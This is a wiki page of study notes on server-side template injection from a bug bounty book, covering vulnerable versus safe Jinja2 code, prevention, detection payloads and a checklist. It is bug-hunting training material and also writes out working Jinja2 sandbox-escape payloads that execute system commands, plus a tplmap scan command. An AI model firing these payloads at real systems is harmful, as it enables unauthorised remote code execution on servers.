Cybersecurity

This page is read only. You can view the source, but not change it. Ask your administrator if you think this is wrong.
====== BBC Ch 16: Server-Side Template Injection (SSTI) ======

//Source: Bug Bounty Bootcamp by Vickie Li//

Template engines (Jinja2, Twig, FreeMarker, ERB, Smarty) combine application data with templates to generate HTML pages. SSTI occurs when user input is concatenated directly into a template string rather than passed in as a safe data variable.

===== How SSTI Works =====

**Vulnerable code (Python/Jinja2):**
<code python>
from jinja2 import Template
tmpl = Template("<html><h1>Hello: " + user_input + "</h1></html>")
tmpl.render()
</code>

**Safe code:**
<code python>
tmpl = Template("<html><h1>Hello: {{name}}</h1></html>")
tmpl.render(name=user_input)
</code>

When code is vulnerable, submitting <nowiki>{{1+1}}</nowiki> returns ''2'' in the page -- the template engine executed the expression.

===== Prevention =====

  * Patch and update template engine libraries regularly
  * Avoid allowing user-submitted templates
  * Use the template engine's hardened sandbox mode for user input (not bulletproof -- sandbox escapes exist)
  * Implement an allowlist of allowed attributes in templates
  * Return generic error pages; suppress descriptive error messages
  * Sanitize user input before embedding in templates

===== Hunting for SSTI =====

==== Step 1: Find User-Input Locations ====

Any field that gets displayed back to the user is a candidate: URL parameters, query strings, form fields, file uploads, HTTP headers. Look especially for endpoints that render user input in generated emails, profile pages, or name fields.

==== Step 2: Detect SSTI with Test Payloads ====

Submit this polyglot error-inducing string:
<code>
{{1+abcxx}}${1+abcxx}<%1+abcxx%>[abcxx]
</code>

If the server returns an error or renders unexpectedly, template injection is likely. Also try these engine-specific payloads:

^ Payload ^ Works in ^
| <nowiki>{{7*7}}</nowiki> | Jinja2, Twig, Smarty (Python/PHP) |
| ''${7*7}'' | FreeMarker, Thymeleaf (Java) |
| ''<%= 7*7 %>'' | ERB (Ruby) |

If any of these returns ''49'', SSTI is confirmed.

If input is placed inside expression tags already (e.g., <nowiki>{{user_input}}</nowiki>), just submit ''7*7'' without the brackets and check if ''49'' is returned.

==== Step 3: Identify the Template Engine ====

  * Error message may name the engine (e.g., ''jinja2.exceptions.UndefinedError'')
  * <nowiki>{{7*'7'}}</nowiki> returns ''7777777'' in Jinja2, ''49'' in Twig
  * ''<%= 7*7 %>'' returning ''49'' -- ERB
  * ''${7*7}'' returning ''49'' -- FreeMarker or Thymeleaf

===== Escalating SSTI to RCE (Jinja2) =====

Jinja2 blocks direct import and ''os'', but Python's built-in class hierarchy is accessible. Use subclass traversal to reach the ''catch_warnings'' class, which has access to builtins.

List all subclasses of object:
<code>
{{[].__class__.__bases__[0].__subclasses__()}}
</code>

Find ''catch_warnings'' and access builtins:
<code>
{% for x in [].__class__.__bases__[0].__subclasses__() %}
  {% if 'catch_warnings' in x.__name__ %}
    {{ x()._module.__builtins__ }}
  {% endif %}
{% endfor %}
</code>

Execute a system command (e.g., ''ls''):
<code>
{% for x in [].__class__.__bases__[0].__subclasses__() %}
  {% if 'catch_warnings' in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').system('ls') }}
  {% endif %}
{% endfor %}
</code>

Safe PoC -- create a file with a distinct name:
<code>
{% for x in [].__class__.__bases__[0].__subclasses__() %}
  {% if 'warning' in x.__name__ %}
    {{ x()._module.__builtins__['__import__']('os').system('touch ssti_poc_by_your_name.txt') }}
  {% endif %}
{% endfor %}
</code>

Other template engines require different syntax and sandbox-escape methods -- consult engine-specific documentation and PortSwigger's SSTI research.

===== Automation =====

tplmap (https://github.com/epinna/tplmap/) scans for SSTI, identifies the engine, and constructs exploits automatically for popular engines:
<code>
python3 tplmap.py -u "http://example.com/page?name=INJECT_HERE"
</code>

===== 7-Step Checklist =====

  - Find user-input locations that are displayed back to the user.
  - Submit <nowiki>{{7*7}}</nowiki>, ''${7*7}'', ''<%= 7*7 %>'' to detect SSTI.
  - If blocked or no output: try the polyglot error payload <nowiki>{{1+abcxx}}</nowiki>''${1+abcxx}<%1+abcxx%>[abcxx]''.
  - Identify the template engine from error messages or differential payloads.
  - Research sandbox-escape techniques for the identified engine.
  - Escalate to RCE; create a safe PoC file rather than executing destructive commands.
  - Draft report with the working payload and the engine name.